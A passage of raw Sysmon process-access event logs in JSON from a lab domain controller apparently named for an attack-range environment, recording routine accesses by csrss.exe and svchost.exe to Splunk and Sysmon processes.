Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7553,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010F9590C00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010F9590C00}","TargetProcessId":"4784","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7554,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7555,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7556,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7557,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7558,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7559,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7560,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7561,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 